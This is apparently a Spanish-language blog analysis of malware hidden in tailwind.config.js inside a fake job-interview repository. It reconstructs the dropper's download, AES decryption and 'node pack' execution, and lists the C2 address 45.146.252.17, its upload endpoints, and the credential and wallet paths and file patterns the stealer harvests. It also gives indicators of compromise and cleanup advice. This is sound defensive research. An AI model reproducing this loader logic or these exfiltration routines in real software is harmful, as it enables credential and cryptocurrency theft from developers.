- Tras proponer en LinkedIn una vacante para ingeniero de software, enviaron un repositorio privado de GitHub disfrazado como una tarea legítima de React/Web3; al ejecutarlo, malware en JavaScript oculto en
tailwind.config.jsse activaba en la computadora del desarrollador - El archivo de configuración, de 30,987 bytes, ocultaba 27 KB de código ofuscado detrás de miles de espacios en blanco; luego descargaba desde un servidor remoto una carga útil de segunda etapa cifrada con AES-256-CBC, la guardaba en
%TEMP%\packy después la ejecutaba connode pack - Tras observarlo durante unos 10 minutos en una VM aislada con Windows 11 ARM, se confirmó que la carga útil activaba cuatro componentes: una puerta trasera de control remoto, un ladrón de navegadores y wallets, un escáner recursivo de archivos y un monitor del portapapeles
- A través de Socket.IO controlaba terminal, SSH, pantalla, teclado y mouse; además recopilaba bases de datos de Chromium, almacenamiento de extensiones de wallets, claves SSH, código fuente y archivos de configuración, y en el puerto de subida de archivos se observaron 2,588 solicitudes
- Los repositorios de tareas enviados por desconocidos deben tratarse como código no confiable y revisarse en una VM o contenedor desechable sin perfiles reales del navegador, claves SSH, credenciales de nube ni wallets; si ya hubo infección, tras aislar la red y preservar evidencia, hay que rotar incluso los secretos
Un repositorio disfrazado como una tarea normal de contratación Web3
- El usuario de LinkedIn Wayan Adrian ofreció un puesto de ingeniero de software en shrapnel.com y entregó como tarea el repositorio privado de GitHub
tech-active-workplace-frontend-mainde la cuentayevhen-o - Una plataforma de campañas NFT llamada BLAIEXS parecía, a simple vista, un proyecto común de React/Web3
- El frontend en React ofrecía branding, panel de administración, gestión de campañas y flujo de creación de NFT
- La API en Express manejaba autenticación, datos del panel, verificaciones KYB, creación y reclamo de NFT, carga de archivos y algunos endpoints stub
- El script de seed creaba cuentas demo de superadmin, marca y consumidor, una campaña
Demo NFT Dropy un NFTDemo Collectiblecon 100 unidades disponibles
- El alcance real de la tarea era una simple función para mostrar la red de MetaMask
- Implementar que la función asíncrona
getChainId()ensrc/utils/ethereum.jsllamara aeth_chainIdy devolviera el valor hexadecimal parseado onull - Implementar que
getNetworkLabel(chainId)en el mismo archivo buscara un nombre de red legible en el objetoNETWORKSya existente - Modificar
src/components/Wallet/ConnectWalletButton.jspara que llamara a ambas funciones después de conectar la wallet
- Implementar que la función asíncrona
- Tras terminar la implementación, se ejecutó el servidor de desarrollo, pero no iniciaba incluso después de mucho tiempo; al detectar algo extraño, el usuario desconectó el cable de internet
Código de ejecución oculto en tailwind.config.js
- En
ls -la,tailwind.config.jsmostraba 30,987 bytes, pero en el editor solo se veían 97 líneas;wc -cconfirmó el mismo tamaño - Cerca de la línea 95, detrás de miles de espacios en blanco, había un gran bloque de JavaScript difícil de leer
- El código usaba técnicas típicas de ofuscación de JavaScript
- Guardar cadenas importantes en un arreglo grande
- Rotar el arreglo hasta que coincidiera una suma de verificación
- Ocultar el acceso a cadenas detrás de una función decodificadora
- Reemplazar nombres claros por índices numéricos y llamadas envolventes
- Uno de los dos decodificadores reconstruía cadenas en formato Base64, y el otro aplicaba una clave por cadena junto con un cifrado de flujo similar a RC4; además, el arreglo de cadenas se rotaba antes de que coincidieran los índices del decodificador
- Sin ejecutar el malware, se pudo desofuscar en este orden
- Extraer el arreglo de cadenas
- Reproducir la rotación del arreglo hasta alcanzar la suma de verificación esperada
- Reimplementar las funciones decodificadoras
- Sustituir llamadas como
b(0x214),c(0x2f1, "key")por las cadenas reales - Simplificar objetos wrapper y funciones auxiliares para revelar la intención de ejecución
Cómo funciona el dropper de primera etapa
- El código desofuscado importaba
child_process,os,fs,pathycrypto, e instalabaaxiosysocket.io-clienten el directorio temporal - Los manejadores a nivel de proceso para
uncaughtExceptionyunhandledRejectionestaban configurados para ignorar errores - El flujo de ejecución de la carga útil remota era el siguiente
- El UID era
59e605dd78fb2aafccd1b622f06a00ca - Descargaba datos desde
http://45.146.252.17/api/service/59e605dd78fb2aafccd1b622f06a00ca - Usaba el UID y la cadena
saltencrypto.scryptSyncpara derivar una clave de 32 bytes - Separaba la respuesta con el formato
base64_iv:base64_ciphertexty la descifraba conaes-256-cbc - Escribía el texto plano en el archivo
packdentro del directorio temporal - Lo ejecutaba con
child_process.execSync("node pack", { windowsHide: true, cwd: os.tmpdir() })
- El UID era
- Se trataba de un dropper de malware que, más que realizar funciones propias, descargaba y ejecutaba otro software malicioso
- El código descargado no tenía verificación de firma, lista permitida de hashes, fijación de origen, restricción de rutas ni barreras de prevención de ejecución, por lo que el endpoint remoto podía ejecutar código con los privilegios de la cuenta del sistema operativo que cargó la configuración de Tailwind
Análisis dinámico realizado en una VM aislada
- Para no exponer el sistema host, se configuró con UTM una VM desechable de Windows 11 ARM
- Memoria
4096 MiB - Disco
64 GiB - Red
shared/NAT - Carpeta compartida desactivada
- Memoria
- Se instalaron herramientas para recopilar el comportamiento del malware desde varias perspectivas
- Wireshark: captura de paquetes y tráfico de C2/exfiltración
- Sysinternals Sysmon: telemetría persistente de eventos de Windows
- Procmon: recopilación de actividad de procesos, registro y sistema de archivos en ejecución
- Se colocaron datos señuelo para confirmar qué intentaba recolectar el malware
- Par de claves SSH
- Repositorio privado de GitHub
- Wallets de criptomonedas
- Datos del navegador
- Otros archivos que podrían interesar a un ladrón de información
- En la VM se ejecutó
yarn starty se observó el comportamiento durante unos 10 minutos; luego se obtuvieronrun1-full.pcapng,run1-sysmon.evtxystage2-pack.bin
Flujo de infección observado en la red
- Las solicitudes HTTP hacia
45.146.252.17tenían funciones separadas por puerto- Puerto
80: obtención de la carga útil de primera etapa, registro del host y envío de logs - Puerto
7641: puerta trasera de comando y control por Socket.IO - Puerto
7646: 2,588 subidas de archivos - Puerto
7649: 3 subidas de datos del navegador, más grandes pero menos numerosas
- Puerto
- La primera solicitud fue
GET /api/service/59e605dd78fb2aafccd1b622f06a00ca, y la respuesta tenía formatobase64_iv:base64_ciphertextconContent-Length: 150897 tailwind.config.jsdescifraba la respuesta con AES-256-CBC, escribía el texto plano en%TEMP%\packy luego lo ejecutaba connode pack- Las características de la carga útil de segunda etapa obtenida eran las siguientes
- SHA-256:
68a64d8c015c06fd70bcb8c5878c1e430da827dd00b62f8e6ef69e76bb94de5b - Tamaño:
113136bytes - Formato: JavaScript ASCII en una sola línea
- SHA-256:
- El
packdescifrado también estaba ofuscado de nuevo, pero como usaba las mismas técnicas que la primera etapa, pudo desofuscarse con el mismo procedimiento
Carga útil de segunda etapa compuesta por cuatro programas
packno era un script único, sino un pequeño árbol de procesos que ejecutaba los siguientes cuatro programas- Escribía y ejecutaba la puerta trasera de comando y control
scdataen un directorio temporal - Escribía y ejecutaba el ladrón de navegadores y billeteras
ldataen un directorio temporal - Ejecutaba un escáner recursivo de archivos directamente en memoria con
node -e - Ejecutaba un monitor del portapapeles directamente en memoria con
node -e
- Escribía y ejecutaba la puerta trasera de comando y control
- La configuración principal incluía el UID
59e605dd78fb2aafccd1b622f06a00ca, la clave de usuario308, el host45.146.252.17, el puerto de Socket.IO7641, el puerto de claves7648, el puerto de subida del navegador7649y el puerto de subida de archivos7646
scdata: puerta trasera de control remoto interactivo
scdatase escribía como archivo en%TEMP%y luego se ejecutaba connpm i axios socket.io-client ... && node scdata, quedando como un proceso hijo de larga duración- Tras ejecutarse, se configuraba para parecer un proceso legítimo
- Título del proceso:
vhost.ctl - Archivo marcador de instancia única:
%TEMP%\\.npm\\vhost.ctl - Registro del host:
http://45.146.252.17/api/service/… - Envío de logs:
http://45.146.252.17/api/service/makelog - C2 por Socket.IO:
http://45.146.252.17:7641
- Título del proceso:
- También instalaba paquetes adicionales necesarios para las funciones de control remoto
socket.io-client,ssh2,node-pty: terminal y funciones similares a SSHsharp,screenshot-desktop,clipboardy,@nut-tree-fork/nut-js: capturas de pantalla, portapapeles, mover·hacer clic·desplazar el mouse, entrada de teclado
- Los eventos de Socket.IO mostraban directamente el alcance del control remoto
- Terminal:
start-terminal,terminal-input,terminal-resize,stop-terminal,command - Verificación del host y captura:
whour,capture - Control de entrada:
mouseMove,mouseClick,mouseScroll,keyTap,keyCombo - Portapapeles:
copyText,pasteText - SSH y cierre:
start_ssh,ssh_input,kill
- Terminal:
- En el PCAP se confirmaron el polling·handshake WebSocket del puerto
7641y el evento inicial del servidorwhour; en Sysmon se detectaron en secuencianode.exe scdata, PowerShell consultando información del sistema y la instalación de dos grupos de paquetes npm - Más allá del simple robo de información, también daba al atacante funciones de shell y control del escritorio
ldata: ladrón de datos de navegadores y billeteras
ldatase escribía en%TEMP%y se ejecutaba connpm i axios && node ldata; su título de proceso eranpm-cache- Recolectaba perfiles de navegador y almacenamiento de extensiones de billetera, los enviaba a
http://45.146.252.17:7649/uploady consultaba el estado de LevelDB en/cldbs - Los navegadores objetivo estaban configurados ampliamente según el sistema operativo
- Windows: Chrome, Edge, Brave, LT Browser
- macOS: Chrome, Brave, Opera, LT Browser, Edge y el llavero de inicio de sesión local
- Linux: carpetas de perfiles equivalentes de la familia Chromium
- Desde los directorios
DefaultoProfile*subía las siguientes bases de datos de ChromiumLogin DataLogin Data For AccountWeb Data
- Después recorría
Local Extension Settings/<extension-id>, y entre los ID de extensiones de billetera codificados estabankbihfbeogaeaoehlefnkodbefgpgknnde MetaMask - Para las primeras ocho rutas de extensiones de billetera, copiaba los directorios LevelDB a una carpeta temporal, subía los archivos individualmente y decidía si completar o reintentar según la respuesta de
cldbsdel servidor - Las tres subidas confirmadas en el puerto
7649fueron las siguientes bases de datosLogin_Data.sqlite: 51,200 bytesLogin_Data_For_Account.sqlite: 51,200 bytesWeb_Data.sqlite: 262,144 bytes
- Los datos de prueba no incluían contraseñas guardadas ni registros de tarjetas, pero sí seis valores de autocompletado y metadatos del navegador
- Los navegadores basados en Chrome cifran algunos campos localmente, por lo que no siempre es posible recuperar secretos en texto plano solo con la base de datos
- Aun así, combinados con secretos del sistema operativo·cookies·almacenamiento de extensiones·un navegador desbloqueado, pasan a formar parte de un pipeline de robo de credenciales
- Terminaba después de subir los datos de navegador y LevelDB necesarios, o cuando el servidor lo marcaba como completado, sin esperar órdenes adicionales del operador
Escáner recursivo de archivos y monitor del portapapeles
- El escáner recursivo de archivos se ejecutaba con
node -esin crear un archivo separado y comenzaba a recorrer desde el directorio personal del usuario- En Windows enumeraba las letras de unidad con
Get-CimInstance Win32_LogicalDisky también inspeccionaba la raíz de cada unidad - Los patrones de archivos recolectados incluían
*.env*,*.md,*.pem,*.ini,*.secret,*.json,*.js,*.ts,*.csv,*.txt,*.doc,*.docx,*.pdf,*.xlsx,.zsh_history,.bash_history ~/.ssh,~/.aws,~/.azure,~/.config,~/.foundryse trataban automáticamente como carpetas de interés- También buscaba nombres como
metamask,bitcoin,btc,solana,secret phrase,private key - Los resultados se enviaban a
http://45.146.252.17:7646/upload
- En Windows enumeraba las letras de unidad con
- En el entorno señuelo, realmente se subieron
id_ed25519,id_ed25519.pub,History.txt,seed.js,password.js,tokens.js,ConnectWalletButton.js,ExportWallet.js,RegisterWallet.js,tailwind.config.js,aptos-cli.jsony otros archivos - Mientras
ldatase encargaba específicamente del almacenamiento de navegadores y billeteras, el escáner de archivos recolectaba de forma amplia claves SSH·configuraciones·código fuente·secretos locales·historial de shell·archivos de proyecto - El monitor del portapapeles también se ejecutaba con
node -e, y su título de proceso eranpm-compiler.log- Tras esperar unos segundos, leía repetidamente el portapapeles
- En macOS usaba
pbpaste; en Windows,powershell -NoProfile -NonInteractive Get-Clipboard - Los valores modificados se enviaban a
http://45.146.252.17/api/service/makelog
- Incluso sin interpretar el formato, podía capturar tal cual las contraseñas, frases de recuperación, claves privadas, tokens de API, códigos de un solo uso, URL de GitHub, direcciones de billetera y secretos de despliegue que copiara el usuario
Principios a seguir antes de ejecutar una prueba de contratación
- Un repositorio de prueba enviado por alguien desconocido debe tratarse como código ejecutable no confiable hasta verificar su seguridad
- Antes de
yarn install,npm install,yarn buildoyarn start, hay que revisar lo siguientepackage.json- scripts de ciclo de vida
- archivos de configuración
- hooks evidentes de dependencias
- En este caso, el malware estaba oculto en
tailwind.config.js, un archivo que mucha gente suele pasar por alto; los archivos de configuración, las dependencias y las herramientas de build también pueden ejecutarse como código - Los proyectos de entrevista deben ejecutarse en una VM o contenedor desechable donde no haya secretos reales montados
- perfil personal del navegador
- administrador de contraseñas
- claves SSH
- billeteras de criptomonedas
- tokens de GitHub
- credenciales de nube
- sesiones bancarias
- cuenta de correo principal
- Para pruebas que requieran cuentas o billeteras, se debe usar una identidad de prueba nueva, sin fondos y no reutilizada en otros servicios
- Si se trata de una tarea Web3, hay que usar solo testnet y no conectar una billetera real a un proyecto desconocido, aunque parezca inofensivo
Indicadores para verificar si hubo infección
- En macOS y Linux, revisar primero lo siguiente
- procesos en ejecución relacionados con
node,pack,scdata,ldata,npm-compiler,vhost.ctl - conexiones a
45.146.252.17o a los puertos7641,7646,7649 pack,scdata,ldata,vhost.ctlbajo directorios temporales, Downloads, Desktop, Documents y Library- archivo marcador
*/.npm/vhost.ctl - cadenas IP, UID,
/api/service/makelog,node scdata,node ldata,node packdentro del proyecto descargado
- procesos en ejecución relacionados con
- En Windows, revisar lo siguiente
- entre los procesos
node,npm,cmd,powershell, los que tengan en la línea de comandospack,scdata,ldata,node -e, la dirección IP oGet-Clipboard - conexiones TCP abiertas a
45.146.252.17o al puerto remoto7641,7646,7649 pack,scdata,ldata,vhost.ctl,.npm\vhost.ctlbajo%TEMP%- cadenas C2 conocidas dentro del directorio donde se clonó el repositorio de la entrevista
- entre los procesos
- Si se encuentra aunque sea uno de los siguientes: un proceso de Node activo, una conexión a esa IP o alguno de los artefactos
pack·scdata·ldata, debe considerarse que el sistema estuvo expuesto - Estos indicadores son puntos de revisión iniciales específicos de las muestras analizadas y no constituyen un procedimiento forense completo
Limpieza del sistema infectado y rotación de secretos
- Lo primero es desconectar la computadora de la red y no seguir explorando, depurando ni copiando secretos nuevos dentro del entorno infectado
- Si se necesita evidencia, conservar lo siguiente antes de borrar nada
- lista de procesos
- conexiones de red
- archivos sospechosos
- historial del navegador
- repositorio malicioso
- Después, terminar los procesos relacionados con
node pack,node scdata,node ldata,node -e,npm-compiler,vhost.ctly eliminarpack,scdata,ldata,.npm/vhost.ctldel directorio temporal - Si es una VM desechable y no hace falta preservar trabajo legítimo de Node, se puede usar
pkill nodeen macOS y Linux o forzar el cierre de todos los procesosnodeen Windows - Borrar el repositorio malicioso y
node_modules, pero si hace falta análisis adicional, conservar una copia ZIP sin conexión - Borrar archivos no es suficiente; también hay que rotar o revocar la siguiente información secreta
- claves SSH
- tokens de GitHub y npm
- claves de nube y claves API
- secretos de despliegue
- contraseñas guardadas en el navegador
- sesiones de inicio de sesión activas
- Si existe la posibilidad de que la semilla o la clave privada de una wallet haya tocado el sistema infectado, hay que crear una wallet nueva desde un dispositivo limpio y transferir los fondos
Un ataque que explota el límite de confianza de las herramientas de desarrollo
- Los productos antivirus tradicionales no detectaron este repositorio, y ni siquiera los populares agentes de codificación con IA usados para resolver la prueba identificaron el malware oculto en el proyecto
- Como Tailwind evalúa los archivos de configuración de JavaScript como módulos de Node, el IIFE de la línea 95 se ejecuta en el momento en que la herramienta de desarrollo, el script de build, la integración del editor, Tailwind CLI, el bundler o una tarea de CI carga la configuración
- La configuración legítima de Tailwind llegaba hasta la línea 94, y después se habían agregado aproximadamente 27 KB de código ofuscado
- El payload descargado se ejecuta con los mismos privilegios del sistema operativo que el usuario que cargó la configuración
- puede acceder a archivos locales, perfiles del navegador, credenciales guardadas, datos de extensiones de wallets, claves SSH, variables de entorno, tokens de paquetes, credenciales de nube, código fuente y portapapeles
- si se ejecuta en CI, también pueden quedar expuestos secretos de despliegue, artefactos de build, credenciales de registro y tokens de acceso a producción
- La corrección necesaria es eliminar por completo el bloque de JavaScript ofuscado de
tailwind.config.js
Aún no hay comentarios.